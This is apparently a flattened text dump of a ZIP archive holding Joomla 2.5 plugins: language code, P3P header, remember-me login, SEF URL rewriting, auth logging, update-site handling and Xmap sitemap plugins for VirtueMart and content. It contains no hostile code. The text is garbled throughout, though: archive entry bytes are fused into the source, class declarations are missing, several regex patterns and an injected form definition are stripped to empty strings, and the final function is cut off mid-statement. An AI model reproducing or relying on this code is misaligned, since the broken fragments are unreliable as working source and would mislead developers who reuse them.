//Parse response list($response_header, $response_body) = explode ("\r\n\r\n", $response, 2); //Parse header $response_header = preg_split ("/\r\n|\n|\r/", $response_header); list($header_protocol, $header_code, $header_status_message) = explode (' ', trim (array_shift ($response_header)), 3); //Build result $result->http_code = $header_code; $result->http_data = $response_body; //Done return $result; } /** * Get settings */ public static function getSettings () { //Container $settings = array (); //Get database handle $db = JFactory::getDBO (); //Read settings $sql = "SELECT * FROM #__oasl_settings"; $db->setQuery ($sql); $rows = $db->LoadAssocList (); if (is_array ($rows)) { foreach ($rows AS $key => $data) { if ($data ['setting'] == 'providers') { $tmp = @unserialize ($data ['value']); if ($tmp !== false AND is_array ($tmp)) { $settings [$data ['setting']] = $tmp; } else { $settings [$data ['setting']] = array (); } } else { $settings [$data ['setting']] = $data ['value']; } } } return $settings; } } PK]y>\a$system/languagecode/languagecode.xmlnuW+A plg_system_languagecode Joomla! Project November 2011 Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 PLG_SYSTEM_LANGUAGECODE_XML_DESCRIPTION languagecode.php index.html language language/en-GB/en-GB.plg_system_languagecode.ini language/en-GB/en-GB.plg_system_languagecode.sys.ini PK]y>\$system/languagecode/languagecode.phpnuW+A tag */ public function onAfterRender() { // Use this plugin only in site application if (JFactory::getApplication()->isSite()) { // Get the response body $body = JResponse::getBody(); // Get the current language code $code = JFactory::getDocument()->getLanguage(); // Get the new code $new_code = $this->params->get($code); // Replace the old code by the new code in the tag if ($new_code) { // Replace the new code in the HTML document $patterns = array( chr(1) . '()' . chr(1) . 'i', chr(1) . '()' . chr(1) . 'i', ); $replace = array( '${1}' . strtolower($new_code) . '${3}', '${1}' . strtolower($new_code) . '${3}' ); } else { $patterns = array(); $replace = array(); } // Replace codes in attributes preg_match_all(chr(1) . '()' . chr(1) . 'i', $body, $matches); foreach ($matches[2] as $match) { $new_code = $this->params->get(strtolower($match)); if ($new_code) { $patterns[] = chr(1) . '()' . chr(1) . 'i'; $replace[] = '${1}' . $new_code . '${3}'; } } preg_match_all(chr(1) . '()' . chr(1) . 'i', $body, $matches); foreach ($matches[2] as $match) { $new_code = $this->params->get(strtolower($match)); if ($new_code) { $patterns[] = chr(1) . '()' . chr(1) . 'i'; $replace[] = '${1}' . $new_code . '${3}'; } } JResponse::setBody(preg_replace($patterns, $replace, $body)); } } /** * @param JForm $form The form to be altered. * @param array $data The associated data for the form. * * @return boolean * @since 2.5 */ public function onContentPrepareForm($form, $data) { // Check we have a form if (!($form instanceof JForm)) { $this->_subject->setError('JERROR_NOT_A_FORM'); return false; } // Check we are manipulating a valid form. $app = JFactory::getApplication(); if ($form->getName() != 'com_plugins.plugin' || isset($data->name) && $data->name != 'plg_system_languagecode' || empty($data) && !$app->getUserState('plg_system_language_code.edit') ) { return true; } // Mark the plugin as being edited $app->setUserState('plg_system_language_code.edit', $data->name == 'plg_system_languagecode'); // Get site languages $languages = JLanguage::getKnownLanguages(JPATH_SITE); // Inject fields into the form foreach ($languages as $tag => $language) { $form->load('
'); } return true; } } PK]y>\)system/languagecode/.htaccessnuW+A Order allow,deny Deny from all PK]y>\)&system/languagecode/language/.htaccessnuW+A Order allow,deny Deny from all PK]y>\V'system/languagecode/language/index.htmlnuW+A PK]y>\=DDsystem/languagecode/language/en-GB/en-GB.plg_system_languagecode.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_SYSTEM_LANGUAGECODE="System - Language Code" PLG_SYSTEM_LANGUAGECODE_FIELD_DESC="Changes the language code used for the %s language" PLG_SYSTEM_LANGUAGECODE_FIELDSET_DESC="Changes the language code for the generated HTML document. Example of use: One has installed the fr-FR language pack and wants the Search Engines to recognize the page as aimed at French-speaking Canada. Add the tag 'fr-CA' to the corresponding field for 'fr-FR' to resolve this." PLG_SYSTEM_LANGUAGECODE_FIELDSET_LABEL="Language codes" PLG_SYSTEM_LANGUAGECODE_XML_DESCRIPTION="Provides the ability to change the language code in the generated HTML document to improve SEO.
The fields will appear when the plugin is enabled and saved.
More information at W3.org "PK]y>\2Hsystem/languagecode/language/en-GB/en-GB.plg_system_languagecode.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_SYSTEM_LANGUAGECODE="System - Language Code" PLG_SYSTEM_LANGUAGECODE_XML_DESCRIPTION="Provides ability to change the language code in the generated HTML document to improve SEO" PK]y>\V-system/languagecode/language/en-GB/index.htmlnuW+A PK]y>\),system/languagecode/language/en-GB/.htaccessnuW+A Order allow,deny Deny from all PK]y>\Vsystem/languagecode/index.htmlnuW+A PK]y>\)system/p3p/.htaccessnuW+A Order allow,deny Deny from all PK]y>\Vsystem/p3p/index.htmlnuW+A PK]y>\Лsystem/p3p/p3p.phpnuW+Aparams->get('header', 'NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM'); $header = trim($header); // Bail out on empty header (why would anyone do that?!) if( empty($header) ) { return; } // Replace any existing P3P headers in the response JResponse::setHeader('P3P', 'CP="'.$header.'"', true); } } PK]y>\gLLsystem/p3p/p3p.xmlnuW+A plg_system_p3p Joomla! Project September 2010 Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 PLG_P3P_XML_DESCRIPTION p3p.php index.html en-GB.plg_system_p3p.ini en-GB.plg_system_p3p.sys.ini
PK]y>\Vsystem/index.htmlnuW+A PK]y>\Vsystem/remember/index.htmlnuW+A PK]y>\e::system/remember/remember.xmlnuW+A plg_system_remember Joomla! Project April 2007 Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 PLG_REMEMBER_XML_DESCRIPTION remember.php index.html en-GB.plg_system_remember.ini en-GB.plg_system_remember.sys.ini PK]y>\bJ J system/remember/remember.phpnuW+AisAdmin()) { return; } $user = JFactory::getUser(); if ($user->get('guest')) { $hash = JApplication::getHash('JLOGIN_REMEMBER'); if ($str = JRequest::getString($hash, '', 'cookie', JREQUEST_ALLOWRAW | JREQUEST_NOTRIM)) { jimport('joomla.utilities.simplecrypt'); $credentials = array(); $goodCookie = true; $filter = JFilterInput::getInstance(); // Create the encryption key, apply extra hardening using the user agent string. // Since we're decoding, no UA validity check is required. $privateKey = JApplication::getHash(@$_SERVER['HTTP_USER_AGENT']); $key = new JCryptKey('simple', $privateKey, $privateKey); $crypt = new JCrypt(new JCryptCipherSimple, $key); try { $str = $crypt->decrypt($str); if (!is_string($str)) { throw new Exception('Decoded cookie is not a string.'); } $cookieData = json_decode($str); if (null === $cookieData) { throw new Exception('JSON could not be docoded.'); } if (!is_object($cookieData)) { throw new Exception('Decoded JSON is not an object.'); } // json_decoded cookie could be any object structure, so make sure the // credentials are well structured and only have user and password. if (isset($cookieData->username) && is_string($cookieData->username)) { $credentials['username'] = $filter->clean($cookieData->username, 'username'); } else { throw new Exception('Malformed username.'); } if (isset($cookieData->password) && is_string($cookieData->password)) { $credentials['password'] = $filter->clean($cookieData->password, 'string'); } else { throw new Exception('Malformed password.'); } $return = $app->login($credentials, array('silent' => true)); if (!$return) { throw new Exception('Log-in failed.'); } } catch (Exception $e) { $config = JFactory::getConfig(); $cookie_domain = $config->get('cookie_domain', ''); $cookie_path = $config->get('cookie_path', '/'); // Clear the remember me cookie setcookie( JApplication::getHash('JLOGIN_REMEMBER'), false, time() - 86400, $cookie_path, $cookie_domain ); JLog::add('A remember me cookie was unset for the following reason: ' . $e->getMessage(), JLog::WARNING, 'security'); } } } } } PK]y>\)system/remember/.htaccessnuW+A Order allow,deny Deny from all PK]y>\Vsystem/sef/index.htmlnuW+A PK]y>\)system/sef/.htaccessnuW+A Order allow,deny Deny from all PK]y>\zhbsystem/sef/sef.phpnuW+AgetName() != 'site' || $app->getCfg('sef')=='0') { return true; } //Replace src links $base = JURI::base(true).'/'; $buffer = JResponse::getBody(); $regex = '#href="index.php\?([^"]*)#m'; $buffer = preg_replace_callback($regex, array('plgSystemSef', 'route'), $buffer); $this->checkBuffer($buffer); $protocols = '[a-zA-Z0-9]+:'; //To check for all unknown protocals (a protocol must contain at least one alpahnumeric fillowed by : $regex = '#(src|href|poster)="(?!/|'.$protocols.'|\#|\')([^"]*)"#m'; $buffer = preg_replace($regex, "$1=\"$base\$2\"", $buffer); $this->checkBuffer($buffer); $regex = '#(onclick="window.open\(\')(?!/|'.$protocols.'|\#)([^/]+[^\']*?\')#m'; $buffer = preg_replace($regex, '$1'.$base.'$2', $buffer); $this->checkBuffer($buffer); // ONMOUSEOVER / ONMOUSEOUT $regex = '#(onmouseover|onmouseout)="this.src=([\']+)(?!/|'.$protocols.'|\#|\')([^"]+)"#m'; $buffer = preg_replace($regex, '$1="this.src=$2'. $base .'$3$4"', $buffer); $this->checkBuffer($buffer); // Background image $regex = '#style\s*=\s*[\'\"](.*):\s*url\s*\([\'\"]?(?!/|'.$protocols.'|\#)([^\)\'\"]+)[\'\"]?\)#m'; $buffer = preg_replace($regex, 'style="$1: url(\''. $base .'$2$3\')', $buffer); $this->checkBuffer($buffer); // OBJECT -- fix it only inside the tag $regex = '#(]\s*value\s*=\s*"(?!/|'.$protocols.'|\#|\')([^"]*)"#m'; $buffer = preg_replace($regex, '$1name="$2" value="' . $base . '$3"', $buffer); $this->checkBuffer($buffer); // OBJECT -- fix it only inside the tag $regex = '#(]*)value\s*=\s*"(?!/|'.$protocols.'|\#|\')([^"]*)"\s*name\s*=\s*"(movie|src|url)"#m'; $buffer = preg_replace($regex, 'checkBuffer($buffer); // OBJECT data="xx" attribute -- fix it only in the object tag $regex = '#(]*)data\s*=\s*"(?!/|'.$protocols.'|\#|\')([^"]*)"#m'; $buffer = preg_replace($regex, '$1data="' . $base . '$2"$3', $buffer); $this->checkBuffer($buffer); JResponse::setBody($buffer); return true; } private function checkBuffer($buffer) { if ($buffer === null) { switch (preg_last_error()) { case PREG_BACKTRACK_LIMIT_ERROR: $message = "PHP regular expression limit reached (pcre.backtrack_limit)"; break; case PREG_RECURSION_LIMIT_ERROR: $message = "PHP regular expression limit reached (pcre.recursion_limit)"; break; case PREG_BAD_UTF8_ERROR: $message = "Bad UTF8 passed to PCRE function"; break; default: $message = "Unknown PCRE error calling PCRE function"; } JError::raiseError(500, $message); } } /** * Replaces the matched tags * * @param array An array of matches (see preg_match_all) * @return string */ protected static function route(&$matches) { $original = $matches[0]; $url = $matches[1]; $url = str_replace('&', '&', $url); $route = JRoute::_('index.php?'.$url); return 'href="'.$route; } } PK]y>\Ssystem/sef/sef.xmlnuW+A plg_system_sef Joomla! Project December 2007 Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 PLG_SEF_XML_DESCRIPTION sef.php index.html en-GB.plg_system_sef.ini en-GB.plg_system_sef.sys.ini PK]y>\Vsystem/log/index.htmlnuW+A PK]y>\Ysystem/log/log.phpnuW+AaddEntry($errorlog); } break; case JAuthentication::STATUS_FAILURE : { $errorlog['status'] = $response['type'] . " FAILURE: "; if ($this->params->get('log_username', 0)) { $errorlog['comment'] = $response['error_message'] . ' ("' . $response['username'] . '")'; } else { $errorlog['comment'] = $response['error_message']; } $log->addEntry($errorlog); } break; default : { $errorlog['status'] = $response['type'] . " UNKNOWN ERROR: "; $errorlog['comment'] = $response['error_message']; $log->addEntry($errorlog); } break; } } } PK]y>\S_system/log/log.xmlnuW+A plg_system_log Joomla! Project April 2007 Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 PLG_LOG_XML_DESCRIPTION log.php index.html en-GB.plg_system_log.ini en-GB.plg_system_log.sys.ini
PK]y>\)system/log/.htaccessnuW+A Order allow,deny Deny from all PK]y>\)system/.htaccessnuW+A Order allow,deny Deny from all PK]y>\)extension/.htaccessnuW+A Order allow,deny Deny from all PK]y>\C44extension/joomla/joomla.xmlnuW+A plg_extension_joomla Joomla! Project May 2010 Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL admin@joomla.org www.joomla.org 2.5.0 PLG_EXTENSION_JOOMLA_XML_DESCRIPTION joomla.php index.html en-GB.plg_extension_joomla.ini en-GB.plg_extension_joomla.sys.ini PK]y>\_``extension/joomla/joomla.phpnuW+AloadLanguage(); } /** * Adds an update site to the table if it doesn't exist. * * @param string The friendly name of the site * @param string The type of site (e.g. collection or extension) * @param string The URI for the site * @param boolean If this site is enabled * @since 1.6 */ private function addUpdateSite($name, $type, $location, $enabled) { $dbo = JFactory::getDBO(); // look if the location is used already; doesn't matter what type // you can't have two types at the same address, doesn't make sense $query = $dbo->getQuery(true); $query->select('update_site_id')->from('#__update_sites')->where('location = '. $dbo->Quote($location)); $dbo->setQuery($query); $update_site_id = (int)$dbo->loadResult(); // if it doesn't exist, add it! if (!$update_site_id) { $query->clear(); $query->insert('#__update_sites'); $query->columns(array($dbo->quoteName('name'), $dbo->quoteName('type'), $dbo->quoteName('location'), $dbo->quoteName('enabled'))); $query->values($dbo->quote($name) . ', ' . $dbo->quote($type) . ', ' . $dbo->quote($location) . ', ' . (int) $enabled); $dbo->setQuery($query); if ($dbo->query()) { // link up this extension to the update site $update_site_id = $dbo->insertid(); } } // check if it has an update site id (creation might have faileD) if ($update_site_id) { $query->clear(); // look for an update site entry that exists $query->select('update_site_id')->from('#__update_sites_extensions'); $query->where('update_site_id = '. $update_site_id)->where('extension_id = '. $this->eid); $dbo->setQuery($query); $tmpid = (int)$dbo->loadResult(); if(!$tmpid) { // link this extension to the relevant update site $query->clear(); $query->insert('#__update_sites_extensions'); $query->columns(array($dbo->quoteName('update_site_id'), $dbo->quoteName('extension_id'))); $query->values($update_site_id . ', ' . $this->eid); $dbo->setQuery($query); $dbo->query(); } } } /** * Handle post extension install update sites * * @param JInstaller Installer object * @param int Extension Identifier * @since 1.6 */ public function onExtensionAfterInstall($installer, $eid) { if ($eid) { $this->installer = $installer; $this->eid = $eid; // After an install we only need to do update sites $this->processUpdateSites(); } } /** * Handle extension uninstall * * @param JInstaller Installer instance * @param int extension id * @param int installation result * @since 1.6 */ public function onExtensionAfterUninstall($installer, $eid, $result) { if ($eid) { // wipe out any update_sites_extensions links $db = JFactory::getDBO(); $query = $db->getQuery(true); $query->delete()->from('#__update_sites_extensions')->where('extension_id = '. $eid); $db->setQuery($query); $db->Query(); // delete any unused update sites $query->clear(); $query->select('update_site_id')->from('#__update_sites_extensions'); $db->setQuery($query); $results = $db->loadColumn(); if(is_array($results)) { // so we need to delete the update sites and their associated updates $updatesite_delete = $db->getQuery(true); $updatesite_delete->delete()->from('#__update_sites'); $updatesite_query = $db->getQuery(true); $updatesite_query->select('update_site_id')->from('#__update_sites'); // if we get results back then we can exclude them if(count($results)) { $updatesite_query->where('update_site_id NOT IN ('. implode(',', $results) .')'); $updatesite_delete->where('update_site_id NOT IN ('. implode(',', $results) .')'); } // so lets find what update sites we're about to nuke and remove their associated extensions $db->setQuery($updatesite_query); $update_sites_pending_delete = $db->loadColumn(); if(is_array($update_sites_pending_delete) && count($update_sites_pending_delete)) { // nuke any pending updates with this site before we delete it // TODO: investigate alternative of using a query after the delete below with a query and not in like above $query->clear(); $query->delete()->from('#__updates')->where('update_site_id IN ('. implode(',', $update_sites_pending_delete) .')'); $db->setQuery($query); $db->query(); } // note: this might wipe out the entire table if there are no extensions linked $db->setQuery($updatesite_delete); $db->query(); } // last but not least we wipe out any pending updates for the extension $query->clear(); $query->delete()->from('#__updates')->where('extension_id = '. $eid); $db->setQuery($query); $db->query(); } } /** * After update of an extension * * @param JInstaller Installer object * @param int Extension identifier * @since 1.6 */ public function onExtensionAfterUpdate($installer, $eid) { if ($eid) { $this->installer = $installer; $this->eid = $eid; // handle any update sites $this->processUpdateSites(); } } /** * Processes the list of update sites for an extension. * * @since 1.6 */ private function processUpdateSites() { $manifest = $this->installer->getManifest(); $updateservers = $manifest->updateservers; if($updateservers) { $children = $updateservers->children(); } else { $children = array(); } if (count($children)) { foreach ($children as $child) { $attrs = $child->attributes(); $this->addUpdateSite($attrs['name'], $attrs['type'], $child, true); } } else { $data = (string)$updateservers; if (strlen($data)) { // we have a single entry in the update server line, let us presume this is an extension line $this->addUpdateSite(JText::_('PLG_EXTENSION_JOOMLA_UNKNOWN_SITE'), 'extension', $data, true); } } } } PK]y>\)extension/joomla/.htaccessnuW+A Order allow,deny Deny from all PK]y>\Vextension/joomla/index.htmlnuW+A PK]y>\Vextension/index.htmlnuW+A PK]y>\)xmap/com_virtuemart/.htaccessnuW+A Order allow,deny Deny from all PK]y>\;&xmap/com_virtuemart/com_virtuemart.phpnuW+Alink); parse_str(html_entity_decode($link_query['query']), $link_vars); $catid = JArrayHelper::getValue($link_vars, 'virtuemart_category_id', 0); $prodid = JArrayHelper::getValue($link_vars, 'virtuemart_product_id', 0); if (!$catid) { $menu = & JSite::getMenu(); $menuParams = $menu->getParams($node->id); $catid = $menuParams->get('virtuemart_category_id', 0); } if (!$prodid) { $menu = & JSite::getMenu(); $menuParams = $menu->getParams($node->id); $prodid = $menuParams->get('virtuemart_product_id', 0); } if ($prodid && $catid) { $node->uid = 'com_virtuemartc' . $catid . 'p' . $prodid; $node->expandible = false; } elseif ($catid) { $node->uid = 'com_virtuemartc' . $catid; $node->expandible = true; } } /** Get the content tree for this kind of content */ static function getTree($xmap, $parent, &$params) { self::initialize(); $menu = & JSite::getMenu(); $link_query = parse_url($parent->link); parse_str(html_entity_decode($link_query['query']), $link_vars); $catid = intval(JArrayHelper::getValue($link_vars, 'virtuemart_category_id', 0)); $params['Itemid'] = intval(JArrayHelper::getValue($link_vars, 'Itemid', $parent->id)); $view = JArrayHelper::getValue($link_vars, 'view', ''); // we currently support only categories if (!in_array($view, array('categories','category'))) { return true; } $include_products = JArrayHelper::getValue($params, 'include_products', 1); $include_products = ( $include_products == 1 || ( $include_products == 2 && $xmap->view == 'xml') || ( $include_products == 3 && $xmap->view == 'html')); $params['include_products'] = $include_products; $params['include_product_images'] = (JArrayHelper::getValue($params, 'include_product_images', 1) && $xmap->view == 'xml'); $params['product_image_license_url'] = trim(JArrayHelper::getValue($params, 'product_image_license_url', '')); $priority = JArrayHelper::getValue($params, 'cat_priority', $parent->priority); $changefreq = JArrayHelper::getValue($params, 'cat_changefreq', $parent->changefreq); if ($priority == '-1') $priority = $parent->priority; if ($changefreq == '-1') $changefreq = $parent->changefreq; $params['cat_priority'] = $priority; $params['cat_changefreq'] = $changefreq; $priority = JArrayHelper::getValue($params, 'prod_priority', $parent->priority); $changefreq = JArrayHelper::getValue($params, 'prod_changefreq', $parent->changefreq); if ($priority == '-1') $priority = $parent->priority; if ($changefreq == '-1') $changefreq = $parent->changefreq; $params['prod_priority'] = $priority; $params['prod_changefreq'] = $changefreq; xmap_com_virtuemart::getCategoryTree($xmap, $parent, $params, $catid); return true; } /** Virtuemart support */ static function getCategoryTree($xmap, $parent, &$params, $catid=0) { $database = &JFactory::getDBO(); if (!isset($urlBase)) { $urlBase = JURI::base(); } $vendorId = 1; $cache = & JFactory::getCache('com_virtuemart','callback'); $children = $cache->call( array( 'VirtueMartModelCategory', 'getChildCategoryList' ),$vendorId, $catid ); $xmap->changeLevel(1); foreach ($children as $row) { $node = new stdclass; $node->id = $parent->id; $node->uid = $parent->uid . 'c' . $row->virtuemart_category_id; $node->browserNav = $parent->browserNav; $node->name = stripslashes($row->category_name); $node->priority = $params['cat_priority']; $node->changefreq = $params['cat_changefreq']; $node->expandible = true; $node->link = 'index.php?option=com_virtuemart&view=category&virtuemart_category_id=' . $row->virtuemart_category_id . '&Itemid='.$parent->id; if ($xmap->printNode($node) !== FALSE) { xmap_com_virtuemart::getCategoryTree($xmap, $parent, $params, $row->virtuemart_category_id); } } $xmap->changeLevel(-1); if ($params['include_products']) { $products = self::$productModel->getProductsInCategory($catid); if ($params['include_product_images']) { self::$categoryModel->addImages($products,1); } $xmap->changeLevel(1); foreach ($products as $row) { $node = new stdclass; $node->id = $parent->id; $node->uid = $parent->uid . 'c' . $row->virtuemart_category_id . 'p' . $row->virtuemart_product_id; $node->browserNav = $parent->browserNav; $node->priority = $params['prod_priority']; $node->changefreq = $params['prod_changefreq']; $node->name = $row->product_name; $node->modified = strtotime($row->modified_on); $node->expandible = false; $node->link = 'index.php?option=com_virtuemart&view=productdetails&virtuemart_product_id=' . $row->virtuemart_product_id.'&virtuemart_category_id=' . $row->virtuemart_category_id . '&Itemid='.$parent->id; if ($params['include_product_images']) { foreach ($row->images as $image) { if (isset($image->file_url)) { $imagenode = new stdClass; $imagenode->src = $urlBase . $image->file_url_thumb; $imagenode->title = $row->product_name; $imagenode->license = $params['product_image_license_url']; $node->images[] = $imagenode; } } } $xmap->printNode($node); } $xmap->changeLevel(-1); } } static protected function initialize() { if (self::$initialized) return; $app = JFactory::getApplication (); if (!class_exists( 'VmConfig' )) { require(JPATH_ADMINISTRATOR . '/components/com_virtuemart/helpers/config.php'); VmConfig::loadConfig(); } JTable::addIncludePath(JPATH_VM_ADMINISTRATOR . '/tables'); $app->setUserState('com_virtuemart.htmlc0.limit',9000); $app->setUserState('com_virtuemart.xmlc0.limit',9000); if (!class_exists('VirtueMartModelCategory')) require(JPATH_VM_ADMINISTRATOR . '/models/category.php'); self::$categoryModel = new VirtueMartModelCategory(); if (!class_exists('VirtueMartModelProduct')) require(JPATH_VM_ADMINISTRATOR . '/models/product.php'); self::$productModel = new VirtueMartModelProduct(); } } PK]y>\(##&xmap/com_virtuemart/com_virtuemart.xmlnuW+A Xmap - Virtuemart Plugin Guillermo Vargas January 2012 GNU GPL http://www.gnu.org/copyleft/gpl.html GNU/GPL guille@vargas.co.cr joomla.vargas.co.cr 2.0.1 XMAP_VM_PLUGIN_DESCRIPTION com_virtuemart.php index.html en-GB.plg_xmap_com_virtuemart.ini es-ES.plg_xmap_com_virtuemart.ini fa-IR.plg_xmap_com_virtuemart.ini cs-CZ.plg_xmap_com_virtuemart.ini nl-NL.plg_xmap_com_virtuemart.ini ru-RU.plg_xmap_com_virtuemart.ini
PK]y>\6xmap/com_virtuemart/index.htmlnuW+APK]y>\65^^ xmap/com_content/com_content.xmlnuW+A Xmap - Content Plugin Guillermo Vargas 01/26/2011 GNU GPL http://www.gnu.org/copyleft/gpl.html GNU/GPL guille@vargas.co.cr joomla.vargas.co.cr 2.0.4 XMAP_CONTENT_PLUGIN_DESCRIPTION com_content.php index.html en-GB.plg_xmap_com_content.ini es-ES.plg_xmap_com_content.ini fa-IR.plg_xmap_com_content.ini cs-CZ.plg_xmap_com_content.ini nl-NL.plg_xmap_com_content.ini ru-RU.plg_xmap_com_content.ini
PK]y>\6xmap/com_content/index.htmlnuW+APK]y>\QXSS xmap/com_content/com_content.phpnuW+Alink); if (!isset($link_query['query'])) { return; } parse_str(html_entity_decode($link_query['query']), $link_vars); $view = JArrayHelper::getValue($link_vars, 'view', ''); $layout = JArrayHelper::getValue($link_vars, 'layout', ''); $id = JArrayHelper::getValue($link_vars, 'id', 0); //----- Set add_images param $params['add_images'] = JArrayHelper::getValue($params, 'add_images', 0); //----- Set add pagebreaks param $add_pagebreaks = JArrayHelper::getValue($params, 'add_pagebreaks', 1); $params['add_pagebreaks'] = JArrayHelper::getValue($params, 'add_pagebreaks', 1); switch ($view) { case 'category': if ($id) { $node->uid = 'com_contentc' . $id; } else { $node->uid = 'com_content' . $layout; } $node->expandible = true; break; case 'article': $node->uid = 'com_contenta' . $id; $node->expandible = false; $query = $db->getQuery(true); $query->select($db->quoteName('created')) ->select($db->quoteName('modified')) ->from($db->quoteName('#__content')) ->where($db->quoteName('id').'='.intval($id)); if ($params['add_pagebreaks'] || $params['add_images']){ $query->select($db->quoteName('introtext')) ->select($db->quoteName('fulltext')); } $db->setQuery($query); if (($row = $db->loadObject()) != NULL) { $node->modified = $row->modified; $text = @$item->introtext . @$item->fulltext; if ($params['add_images']) { $node->images = XmapHelper::getImages($text,JArrayHelper::getValue($params, 'max_images', 1000)); } if ($params['add_pagebreaks']) { $node->subnodes = XmapHelper::getPagebreaks($text,$node->link); $node->expandible = (count($node->subnodes) > 0); // This article has children } } break; case 'archive': $node->expandible = true; break; case 'featured': $node->uid = 'com_contentfeatured'; $node->expandible = false; } } /** * Expands a com_content menu item * * @return void * @since 1.0 */ static function getTree($xmap, $parent, &$params) { $db = JFactory::getDBO(); $app = JFactory::getApplication(); $user = JFactory::getUser(); $result = null; $link_query = parse_url($parent->link); if (!isset($link_query['query'])) { return; } parse_str(html_entity_decode($link_query['query']), $link_vars); $view = JArrayHelper::getValue($link_vars, 'view', ''); $id = intval(JArrayHelper::getValue($link_vars, 'id', '')); /* * * * Parameters Initialitation * */ //----- Set expand_categories param $expand_categories = JArrayHelper::getValue($params, 'expand_categories', 1); $expand_categories = ( $expand_categories == 1 || ( $expand_categories == 2 && $xmap->view == 'xml') || ( $expand_categories == 3 && $xmap->view == 'html') || $xmap->view == 'navigator'); $params['expand_categories'] = $expand_categories; //----- Set expand_featured param $expand_featured = JArrayHelper::getValue($params, 'expand_featured', 1); $expand_featured = ( $expand_featured == 1 || ( $expand_featured == 2 && $xmap->view == 'xml') || ( $expand_featured == 3 && $xmap->view == 'html') || $xmap->view == 'navigator'); $params['expand_featured'] = $expand_featured; //----- Set expand_featured param $include_archived = JArrayHelper::getValue($params, 'include_archived', 2); $include_archived = ( $include_archived == 1 || ( $include_archived == 2 && $xmap->view == 'xml') || ( $include_archived == 3 && $xmap->view == 'html') || $xmap->view == 'navigator'); $params['include_archived'] = $include_archived; //----- Set show_unauth param $show_unauth = JArrayHelper::getValue($params, 'show_unauth', 1); $show_unauth = ( $show_unauth == 1 || ( $show_unauth == 2 && $xmap->view == 'xml') || ( $show_unauth == 3 && $xmap->view == 'html')); $params['show_unauth'] = $show_unauth; //----- Set add_images param $add_images = JArrayHelper::getValue($params, 'add_images', 0) && $xmap->isImages; $add_images = ( $add_images && $xmap->view == 'xml'); $params['add_images'] = $add_images; $params['max_images'] = JArrayHelper::getValue($params, 'max_images', 1000); //----- Set add pagebreaks param $add_pagebreaks = JArrayHelper::getValue($params, 'add_pagebreaks', 1); $add_pagebreaks = ( $add_pagebreaks == 1 || ( $add_pagebreaks == 2 && $xmap->view == 'xml') || ( $add_pagebreaks == 3 && $xmap->view == 'html') || $xmap->view == 'navigator'); $params['add_pagebreaks'] = $add_pagebreaks; if ($params['add_pagebreaks'] && !defined('_XMAP_COM_CONTENT_LOADED')) { define('_XMAP_COM_CONTENT_LOADED',1); // Load it just once $lang = JFactory::getLanguage(); $lang->load('plg_content_pagebreak'); } //----- Set cat_priority and cat_changefreq params $priority = JArrayHelper::getValue($params, 'cat_priority', $parent->priority); $changefreq = JArrayHelper::getValue($params, 'cat_changefreq', $parent->changefreq); if ($priority == '-1') $priority = $parent->priority; if ($changefreq == '-1') $changefreq = $parent->changefreq; $params['cat_priority'] = $priority; $params['cat_changefreq'] = $changefreq; //----- Set art_priority and art_changefreq params $priority = JArrayHelper::getValue($params, 'art_priority', $parent->priority); $changefreq = JArrayHelper::getValue($params, 'art_changefreq', $parent->changefreq); if ($priority == '-1') $priority = $parent->priority; if ($changefreq == '-1') $changefreq = $parent->changefreq; $params['art_priority'] = $priority; $params['art_changefreq'] = $changefreq; $params['max_art'] = intval(JArrayHelper::getValue($params, 'max_art', 0)); $params['max_art_age'] = intval(JArrayHelper::getValue($params, 'max_art_age', 0)); $params['nullDate'] = $db->Quote($db->getNullDate()); $params['nowDate'] = $db->Quote(JFactory::getDate()->toSql()); $params['groups'] = implode(',', $user->getAuthorisedViewLevels()); // Define the language filter condition for the query $params['language_filter'] = $app->getLanguageFilter(); switch ($view) { case 'category': if (!$id) { $id = intval(JArrayHelper::getValue($params, 'id', 0)); } if ($params['expand_categories'] && $id) { $result = self::expandCategory($xmap, $parent, $id, $params, $parent->id); } break; case 'featured': if ($params['expand_featured']) { $result = self::includeCategoryContent($xmap, $parent, 'featured', $params,$parent->id); } break; case 'categories': if ($params['expand_categories']) { $result = self::expandCategory($xmap, $parent, ($id ? $id : 1), $params, $parent->id); } break; case 'archive': if ($params['expand_featured']) { $result = self::includeCategoryContent($xmap, $parent, 'archived', $params,$parent->id); } break; case 'article': // if it's an article menu item, we have to check if we have to expand the // article's page breaks if ($params['add_pagebreaks']){ $query = $db->getQuery(true); $query->select($db->quoteName('introtext')) ->select($db->quoteName('fulltext')) ->select($db->quoteName('alias')) ->select($db->quoteName('catid')) ->from($db->quoteName('#__content')) ->where($db->quoteName('id').'='.intval($id)); $db->setQuery($query); $row = $db->loadObject(); $parent->slug = $row->alias ? ($id . ':' . $row->alias) : $id; $parent->link = ContentHelperRoute::getArticleRoute($parent->slug, $row->catid); $subnodes = XmapHelper::getPagebreaks($row->introtext.$row->fulltext,$parent->link); self::printNodes($xmap, $parent, $params, $subnodes); } } return $result; } /** * Get all content items within a content category. * Returns an array of all contained content items. * * @param object $xmap * @param object $parent the menu item * @param int $catid the id of the category to be expanded * @param array $params an assoc array with the params for this plugin on Xmap * @param int $itemid the itemid to use for this category's children */ static function expandCategory($xmap, $parent, $catid, &$params, $itemid) { $db = JFactory::getDBO(); $where = array('a.parent_id = ' . $catid . ' AND a.published = 1 AND a.extension=\'com_content\''); if ($params['language_filter'] 